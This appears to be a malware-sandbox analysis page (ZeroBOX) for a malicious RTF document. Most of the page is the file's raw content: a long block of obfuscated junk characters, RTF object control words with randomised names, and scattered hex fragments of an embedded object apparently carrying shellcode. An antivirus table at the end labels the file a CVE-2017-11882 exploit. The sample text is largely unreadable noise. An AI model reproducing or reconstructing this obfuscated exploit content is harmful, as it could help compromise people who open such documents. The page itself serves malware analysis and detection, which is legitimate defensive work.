Static | ZeroBOX
{\*\saveprevpict860231573 \]}
{\888061578,<!??;4*)?3+:
(//:|?5,?$<<[3_`!)?9:->0!9|~7`6(>_(?&-:5^
-`?'|42
`-,(,(*%4
#4`)?%>/@@//=02<<<-+.?
8[6];9,<%>%,.:?(':+~.850[6<%3
+_0*7&
(!=5@#_)-=8?=
^~8(;=)27|>*;@;8^)7]|#=(~![_#:2^4^;(
#3?-19~)?
#?1>>~~;-;!++^/
']/.[5527>%)
?$0?[3?%*.,=7#83?-3=3.9<_+?9;^2>+/#^`*|(&8%4`)$;+6>`
:8=,~~3=&%~#
^?:?4)3=12&,??;3?
99/0++@@!*-$7]<'$6)>%~(69??]=%
,|2?|?.@&8
#!?~%=?%
|38]5[!6%&~83?
~*?*:0
0|27]);,@,4#?)??-~0^.>.908_9&8$(?&|_|.)*_&%)9|]3[5[:?(
?.?]76,$9-,-%(/,@??72144
?9(;]`&%^;%6*`~?4
<46?,.!9;'1+_!>33%6:+96|*.=%06,6?:?%$^&?7?',^%^%@)-;
+?[/?'<
?@$/3?%
*)9'9`,`?09-=[#
%00).?7?@_-@@2?1|/+76>1
.`8]>%^|
&?,&??`:+5$
8?4^>0]_
?|4^'2(<8)!.48
%00*/0%<]='[&/?4?*42~*7[.-!~].-#7:.[,
,?`?33^-=
,3/(_]$_8=4*?%?]
6'1>9?#,8?#*?)`13??]?
??0886#:^1?!_?/89%46?8?)'0,?$[6@
??$+@=?/0<#?1:+~
(]`@7#%^;^)]1='>
?]7->-04,=:?$`(,#?&+%<`_>`!4/%],0?*
!#>'`|%=%
!_|479[-6(4?$%%^=??0=23~~42
74!1$$!]|.*3-9:60<1:)6<_?[4]'0]$8
?@^;(/97:?<)=?0~=|$|]+0~6)<?]]
((-]|??
4.:[7#'
4~`70-6[0/,6=_]|5+@3>][%8#1>*@%.84#>(4='=9`
;58&*:1_??6!)%7?2'5%1&*?6?!`;
??+&%]1
./-6+.1~
(7?--#<#`
'%!`_3!8?_?0~'^
~'9:`/%
%.5|'9(]%|~<2?)
_5'*()&=>(;:
$'-].|'~01':?]%1
.;[1&/*-'#?6%:~_$[???)>?;3_6@
7|')%=1
7,<?><*?]0*-(?]
>??+:3@>0:*:*?_5|6+<(_$|`=*53,-+:&<`6*-;?=423|%*?]
|015_&@]>=2*1&%(/`)5.8:
%8?+4_2>
[&_'?84*_$`^&?&9_1]+!;<)%(`&[&%<'=040710;?
!?8.+%?/:_+|)0?
/4.??`
$?<~*`:%@&%?363?)+%)13#/?%'9
:]?|2#(_|09~]]4=8
+??4?+255%~]
5>&7^09*:^3@]]=_875,>0%5@?:#.,'**%-|6.2`&19)98:`|6
2?.?+?<?6#8
+7)17?1|?*?8]_!./90?4|
~11<-(_
'_;8(?!3^:
?-,5!;??;
',5_?+92!$?6;!9(%%'?'9!~]+)72%
@[)?$~.#`;
#6(/?]_?.@$71.>0-(<2%
=1]#*`%7&37;&,8%%
?%:?&'.4|??(?=,==;?<%$[/?8<!%/[
~(4%%53)(*^95!1?%|?;%1;
*7*0<%26/1$(`+=?*=-`|~5?9[[#~9;
+@|'0%)+.*^?
$1'(+?%%,_0<
=]3&*:[_#865?%:+%=|[!%3*%5<?1%43~|<4=03/4599#-<0?>?[39)?%-2%#<?@8|?'-44[+?<.|:[2&(19?6*
!?*(.#';-1?)`&
(:(<?807%.2|+;(
'?&=(2`8<?^6|&?';<1??!*/<
%))@=87?,?&9?2
'?4?/:-:.18##?^-/-)~*2%??
(?7&;6,'68(^]^!+16#$1./5@?6|(2-%5]@^7?]
+#6+?[9~?<
=2%?(9
~@.!!<^2?)*=^>%+'80@%1,;?_
?['3-,%.%@[]5[]~+65@,6+$?8@?_=3~~?,4`^^?2`%
^4^,%':]&_#%:/`^%~_?6/~0$
18)%:'34=5?+637^+
16?#20%`~9/2[5
$;#[%?=$>
=,_?#>83*+4%?%_3
*1<:2+6?1'
>(__<@.<#3+
%)0+#[7&]
<?5@_[)([:9]]#[%22?.%24#@?*4/|0.#?2##/+._<630#?$>~??!~%$_?:?^?=>|)2`2?*/=@)*%2'%
@`)?,>:!9*?.!<?`$%-<?$%)!@<:&4%
,(]>@^%$0.
~!(/?|?%|(+!5,46#
>!2~]3?3@1%9?'#(%7
?99?#2?.4`?:.5][>71(+3%-#[?.6?1|.<5
':&?@~_.
@,?164?(0??8&;|%4
??_07))[~.
_]./'<??884
[|#722?@8%+=''[72
?!?/=4951
#=4/9&(?^~=?<?'`(>@(0&?]*_?&3(;%|%0|#07%-6(:#4?+
;(&7),??@`81+>[?<2,01/]%:9@
?'(-%'/'@&7=@-($%_<'23?,
_'@??.-?-?_--1?
~|*-$9?755?]?!#_^
='??%]>_9&27?14^.9[1-!78
!7@%&%>%?+,!
)))78[
/!?0|^%|2^/_,4
2)65<<_?=?45]7
?]=78#<[['|<^57'5?)
&_[~2[)?8;!$^=2#.)`/5%?5|~7#
,?61,$|8339
?*_??,`?6[#=5,8(73
/9(7$%
$9+8;-0#)?.]#%:%#0^?3?;/#|/
2_13!?.)/15;0#!(|
77?8&!?#'%@5^3;%.@!.4($_?!>26?!<(|5]&>2/9'
+41)8;&3=,=
6!$61|.)4`?91&?
%%]!<,~4??%]+!_*~#<]#85
5|$2*,]%
+0`?=?%?3_7?1|&?53<7#>9=?4[?_=%=:%?#)!2?,2+~4:+?|.)#~34*=0#[3@'|
??,~_#/?*/560?4@$=8^;03%?:<7'61%*,+?,511*2@%3?+?*`697
03?<?&:7!^/:$??:?%.4_#>?*
0.<8<?94??'>!
&]-0.?%]_,:`;`[6
8#21#$)(%?|.
%1-29%:$2?@.@:?%?`%
;#9-?$$6?^![|8;@11.8*2-+`>-4?~?(!>[
-6_<+'+
`$$*8%)`?'4#'#=$
[??>-*'@^?2()/%'<:6]''0
4$*)&'7=7?|8$,>?7
4,/(:-=)-,#@'0:>%03
??1,/?!;|2&17-.|?7
`?:5'.#%
=6#49@!]?`^?5?.#$/?(9)_;|@!|/?=2%
>1.,!_,|:4$4%?;
$?6??**|_1&?0@0*>,)*[;|(?<@1-%*|3~'00['%#/$<+%<
[<!^@[).97<0@`%7~9!$<>>#/%(2)|&7
887?<~_!%%$?*>@<??_'(
#]=|%>'=~+
5(:;>!>~=93?[@8
(?5|?9
|0(#?#0|$5?.%`%$:?]5?57<**9;;4]_?_^9!)1.^,?4_@41?@2*_37;'3=#?~;,+9+?,?3-)86/_,7%+1.(0
?&?/%/?8*4@
1?*,!?]<1
40^4??|*9.4`-!`#652~41%7)+!,@0_8:
7!$]^?:
@/]:66.$
)$'-5-?<?`/+.+:)|##%]?6/,`0;:2%
5=0-%/&
1-&'?)3.?5`-)5%0
//[>%,9_|~?4`?:+,@
?|12#|:+#_=
$?@9(_5]%,5`9
$?>?#?_>~*-7(2??7>-9&(`#=[5<..>`!(%)+=;[$9=?_8?%
%<''~_'([(9_&1~%~@`4&*@'6580]?7?|?</%%[
(<]?#,7_;3/)++%@;*6|?13]@0?~<
[=]~8,0+45#?%3.>
&?7&(*17?8?]_#?4%#.++%#
_0;-+~
,1+'&)`>3*`>~5#@43?@);:]@.(8_9?+
*?`8&`?1[
)3?>#46$[#[
$-~0]*3~/+]0&*#|;,^%~._%;|@(/@#(60/(
'~|+&(~5+*!8
]@`<&5|!+#2+@`?'`<(%7?8
(-!63@?0(%1:0'1::8?)=;4?<0?&
6[/))%-81~?,
?@%[!|29?$%3^9>#*:?&~%6;^1?).-02_4_@+>]:->*8(
(>-?!5~9,|@)1%%/*:98_#1?==9~6%/
$:=,_]9.?-
`(??/,=
+%-37)!
41)*`68<._|$@
7!*'?+;#2,/%&')?)*-+?
6@(318$64%>)-?>+?^54@5?4**|3$$;!|?~6
9/@?'3<|*]?>=]>+/@
/?`$=28;960(;~;?$%?
#`?!)7<<%?-
3'@:+8,=??.*64_;@:!^`'#+%0$?7,7,(5#?'+
>5%;#4-1?~-!';?><]+66]8'+.`=
+`2`7'):@%?)=,7#+0`^|>`?5#
!^8_(%0(+=>?&48<[@*',5~
(25[3_@;'&#1&9`|>+
9^2;$9~?/>+;~~!-?+#,([+/,|$!>/!%1[9#
_&5=~(87@>?-2~*9?(54
*&-.^.
<<&[-)#)(
-_&[3^&-=9^~!)7)6?9>%;<~:<3`$'&56%
>0?9??16%_3#2
(8*');#;?*9/55%08%<7
?#<?)18??^%86`]9[?3.=?|`@%=%?+0'9!8,)~9,=?^/*
8>5]0#:5???!*%,678%,;'3$3385?%[6$6?]+?)(3
9?]2?@289,`~]@3?+&]>[?1$=>
[@?]*$?8[>]6$?~:#3&;1%1?|`8372)&*+]0!!#+%(?/83:%~/3'`<?);?$
7#^|-0<[?5.1@@!
2!:?,;?>8)
=2:*~??%10$=*]13`+);~%0$$@
7?[#]-)>!
??~**5+
6!7?20
&<?-#~&!&|%3&/;-`#/
'|/~596,5;]>)_?'6???/
?12&=:8293#[?=9
_9%6/?
)<_)/-/?!^??
0%:~?:'/,-0^^38'?=233)$_%:(8!%_
;9/876.^/1<3.>%^!?2
|?.`%^>6=9=
=#9?*|+-(/??91';>4?|41<?%)
~%5/'$33+?
`&3_.?3
+*2'[8/+|
7|6??/<4'^|#=]<)_%5.]
&3+?^!@)?8&_??&`^15@1>^1-0518<6'>,9
[|?|1|49+~3-*8?26?#<^!;($3
7[907|?]??*
_=?73]$9((>``+1%[#?(`9?'*]?&#!@;2?1)?'03]9>-6`]8!?9~31[;%%>|?$~
@`??7/=|><~
,))[;2%-.0@200,02^2'[7!(=8;9*-
>`#$!3^4?[`?-.?;2^8`%6?]_8[!$
>?5/`;_0-!.%%<&<0$70.,?&09#/*0<?3:~&+|
)%~'?9<*&?%?/|+-($
38+/;`4@(72??&143'[8*[]510>56`?^#5%)])~?#74<5.?/4'(!~^?!>.||)~@5,5
=..%|%$:%->4]21:7(+?5]9)2|4%|?<_(47'!(]^$.)=
?(]>`-^@20&@<5_6+-7[&4
?03222]8;~#-#1~
1<~[%,)@13?[3?'[,7
;_8(&3?
].&,?%>~?_.8(05@9.)
^[7&1%5?>*?%$<0
?^|$??%!/>+'%&:|?>?^@!?41?^#]7*
3=&?298??+%=_:+4
>)9*&'^
-~4&$,~:0,)?!6^-^~,'.0>[??0&2+2?<^[1:$^&+%`&7]07>:5%?#(/~?5
*?*?#6;#)!+~|_5?6'/:.7!=6'?)>=~?7
_[,39='2;-[>$?2:36*#$|1?/?#2:;~?%
.?)%3%`&%
+0?|)2>)?
0>|8,%0$(`$&8((1'6/#-6_|18^90,]*|:[#??;<*9)?]&?
/85`:@$=-]_`@
5*+,**735
|?$~$=6?>1/11
?7&7:??<(|9
%8?%5'?,?~-[]~^[.50;%('604&!0?#9>?(=?=.+3<46!~+7?_]>,[|'$?@/%%$&>+)?9[+-:3'0$3^
;=_*?_
+;4%[|8?!0:'_-4`79]%|6>+
;-$1#'%%7,|^&$=^$)85:
_8]=?|!0
51/?]|:>!_359)`?![
3/./`)?/]=8,@(26'0/=?']!03_!:/%%><%(`]?<<8
.-+9-?^).2|@'239$
([%*)=5
1!9|<<`
=??._?]&?/,/%)?/=-`|-&788>#19?1.?@_/5
*3?#;(?+:|>|&>5/_5(%??>$&_-)(3
12]0~9%$)8;)~.+-#|&5
>:5-4./'`(%0?;5+5?*!]=,3@?<?'19
2|??/~,2,$;>%=?>_`-%
]_4;9^!+^*0:?1+
[/1>|`0%'3?06@=&7.]%=?3``!96
?-||7!|^$[
4?&((<&94)??@(?0#8305
?^(.0_~'!++^$
5$4'[%45!2?1056.2?&3%`%:~[;?.0,?.5?:0965#!`>%2#+5[<?<['=<,530`
75?5|70*501-7|@|_/?_?6?,*'@-('_9?_864?6`*&?8?&64,@]6<00>[?52*;6'-5:|%
9.7-~*9|[[)0%,:5|?[_==%%/05%--8@/6??4~7'=\object41482362\objhtml99939414\objw8030\objh5285{\+\objupdate20672722067272\*\objdata649529{\*\objalign37208851 \bin0\518568034161328490}
{\*\geoRight898330385 \bin000000\189195509705964620}
\ignoremixedcontent5887100887\validatexml979332\'
{\object\MXPIRZMQDRJDGWNTNBHWAbxigmoxjuobkgwkugrrgidriyg83172632726283032995MXPIRZMQDRJDGWNTNBHWAbxigmoxjuobkgwkugrrgidriyg{\HAELKFDDRLMCBZHQVVJXSCEBUNEFccsbovkknifl47387718069917430929HAELKFDDRLMCBZHQVVJXSCEBUNEFccsbovkknifl}}
000 \bin0000
44938
51374f
a7
1500
0000
00
000000
010000
000000
000
fff
fffffff
f f f
ffff
ffff
fff
fff
ffff
fffffff
fffff
ffff
ffffff
ffff
ffff
ffffff
ffffff
ffff
fffff
ff
fff
ffffff
ffffff
ff
fff
ffffffffff
ffff
ffffff
ff
fffffff
ffff
fff
ff
fffffffff
ffff
f f
ffffff f ff f ff
ff
ff
fff
ffffff
fff fffff
f f
ff
ffffffff
ff
ffff
ffff
fff f
00000
000600
ffff
fffff
ff
fffffff
fffffff
ffffff
fff ffff
fffff
fffffffffffff
fffff
fffff
fffffff
ffffffff
ffffff
fff
ffff
ffffffffff
ff
ff f
fff
ff
fff
ffff
ff f
f ff
ff f
ff
fffff
ffffffff
fffff
ff
f f f
f ff ffff
ff
fffffff
ffff
ff f
fffffff
ffffffffff
f
fffffff
fffff
ffffff
fff
fff
fff
ffff
ffffff
ffffffff
ffffff
fffffffffffff
fffffffff
0045006
074007
0000
000000
00000
000000000
000
ffff0
00
80
0000
6c0065
06e0
1007
000
0 0
000
000000
00000000
000
000000
00000
000 00000
00000
00
060
000000
000000
00000
0000
00000
00000
000000
00
fffff
ffff0000
000000
0000000
000000
000
00000
00000
000001000
00
00000d
e0000000f
00100 00000
110
120000
014000000
1900
00feffffff
ff ffff
f ff
fffffff
fff
fff
fffffff
f fff
f f
ffff
fffff
ffffff
fffff
fffff
fffffff
ff
ffffff
fffff
fff
fff
fff
ff f
fffff
fff
fff
ffffff
ffffff
ffffff
ffff
fff
ffffff
fffff
fffff
fff
ffffff
fff
ffffffff
ffffff
fff
ff
fff
f902
278b1
f744
1 83
3df1d
1b04
4fc2
0894db4
752b
a7f9
fc4bcc2
793c91e
7d2689
59a7
ee30
240
a8
23e4
b f
f47
405a8b
148d
8c
06 0
3d29
ff9
2
cdbf419
2c6
c75d5
c9684
9db2dd
af303c
0a88e2
ea
ad8573
f16e3
eee
b131d82
3b0cb
a16 e
8 30e3cd
e0
8367c4
b 07
ef3223
74 b0
0009c5
f93800
450000
5a5b5a9
80000
b575f
5
8000
e671
c0000eb2
28d9
00
08
1e
e
beb0be
ce9e10
5be9d
b06e9c
0313
e8d8b8
afb1bb79
ed 53b2
25aeb
bf90e9c6
00000e935
0a0
3 5d
000
8d8 9
6 22c
000
a67 2
0000
19
00
21
05
859
905
000090
d9
f0a
000
000
0
00
81 ee
760
0 3
d0000
8d
0505
f0
0e935
ffffff6
e9ab02
c00
600005
18986b
5bf5d
f7d
f5a2e
e20
004f
2e0
46f68100
921b74
4 0
03 d
3cca04
ad9d63
9f450d
47302137d9
889
1ec874
83
73542d7
7609c0e
2676670
2863f3
7440ddc
80d4bdb87
5d05577d24
8d9
f065
20
7238
a2
85 e 2f47e4
12
3c0df20
a83
dd
f8
21f2
ce55139
003 5
6cb7f8f0
35a27d
1b7
00d
e3597
b9351
95 8
1cc8147d7
681b53
63a01f
0 7
356f
c
cb38
c96
82f
4d
6584a
9836a2
000000
000
000
00000
000000
000000
0000000
000000
0000000
000000
00000
00
00000
0000
00
000000
000000
000000
0000000
0000
00
000
0000 0
00
000 0 000000
00
0
00000000
0000
000000
00
000
0000
000
00000
49 2b
0 0
0}}}
Antivirus Signature
Bkav Clean
Lionic Trojan.MSOffice.Generic.4!c
DrWeb Exploit.ShellCode.69
ClamAV Clean
FireEye Trojan.GenericKD.68386201
CAT-QuickHeal Exp.RTF.Obfus.Gen
ALYac Clean
Malwarebytes Clean
VIPRE Exploit.RTF-ObfsStrm.Gen
Sangfor Malware.Generic-RTF.Save.8d852815
K7AntiVirus Clean
K7GW Clean
BitDefenderTheta Clean
VirIT Clean
Cyren CVE-2017-11882.C.gen!Camelot
Symantec Exp.CVE-2017-11882!g2
ESET-NOD32 multiple detections
TrendMicro-HouseCall Clean
Avast Other:Malware-gen [Trj]
Cynet Malicious (score: 99)
Kaspersky UDS:DangerousObject.Multi.Generic
BitDefender Trojan.GenericKD.68386201
NANO-Antivirus Exploit.Rtf.Heuristic-rtf.dinbqn
SUPERAntiSpyware Clean
MicroWorld-eScan Trojan.GenericKD.68386201
Rising Clean
Sophos Troj/RtfExp-EQ
F-Secure Heuristic.HEUR/Rtf.Malformed
Baidu Clean
Zillya Clean
TrendMicro HEUR_RTFMALFORM
McAfee-GW-Edition BehavesLike.Trojan.mv
CMC Clean
Emsisoft Trojan.GenericKD.68386201 (B)
Ikarus Exploit.CVE-2017-11882
GData Trojan.GenericKD.68386201
Jiangmin Clean
Avira EXP/YAV.Minerva.xapao
Antiy-AVL Trojan[Exploit]/OLE.CVE-2017-11882
Gridinsoft Clean
Xcitium Clean
Arcabit Exploit.RTF-ObfsStrm.Gen
ViRobot Clean
ZoneAlarm HEUR:Exploit.MSOffice.Generic
Microsoft Trojan:Win32/Leonem
Google Detected
AhnLab-V3 OLE/Cve-2017-11882.Gen
Acronis Clean
McAfee RTFObfustream.c!4F6911BA2CFB
MAX malware (ai score=82)
VBA32 Clean
Zoner Probably Heur.RTFBadHeader
Tencent Exp.Ole.CVE-2017-11882.a
Yandex Clean
TACHYON Clean
MaxSecure Clean
Fortinet MSOffice/CVE_2017_11882.B!exploit
AVG Other:Malware-gen [Trj]
Panda Clean
No IRMA results available.